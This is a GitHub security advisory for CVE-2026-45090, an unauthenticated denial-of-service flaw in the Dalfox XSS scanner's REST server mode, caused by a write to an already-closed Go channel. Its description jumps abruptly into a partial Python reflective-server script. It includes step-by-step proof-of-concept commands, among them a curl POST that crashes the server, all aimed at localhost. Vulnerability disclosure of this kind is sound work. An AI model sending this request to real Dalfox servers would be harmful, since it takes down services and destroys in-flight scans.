GitHub Advisoryadvisory · Go
GHSA-2g4x-fq3j-cgq4 Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)
HIGH
Official page ↗
- Aliases
- CVE-2026-45090
- Ecosystem
- Go
- Packages
- github.com/hahwul/dalfox/v2, github.com/hahwul/dalfox
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-362, CWE-404
- Reviewed
- 2026-05-12
Affected packages
• Go github.com/hahwul/dalfox/v2: < 2.13.0 → fixed in 2.13.0
• Go github.com/hahwul/dalfox: <= 1.2.2 (no fix yet)
Description
Summary
`ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage — which processes POST-body parameters (`dp`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results {v}'.encode()
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(out)))
self.end_headers()
self.wfile.write(out)
def do_GET(self): self._h()
def do_POST(self): self._h()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18083), H).serve_forever()
PY
Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
Step 3 — Single unauthenticated request terminates the server process
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:18083/?q=test",
"options": {
"data": "q=test",
"mining-dict": true,
"use-headless": false,
"worker": 1
}
}'
Expected: dalfox process exits immediately with:
goroutine N [running]:
panic: send on closed channel
pkg/scanning/parameterAnalysis.go:299 +0x...
Step 4 — Verify server is down
curl -s http://127.0.0.1:16664/health
Expected: connection refused
```
No `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write.
Impact
• Complete server process crash on a single unauthenticated POST request — no login, no API key, no special permissions required.
• All in-flight scans are lost without results.
• The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop.
• The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions.
Recommended Remediation
Option 1: Allocate a fres…
Related
Alias · CVE (1)
- CVE-2026-45090 Dalfox is a powerful open-source XSS scanner and utility focused on automation. vulnerability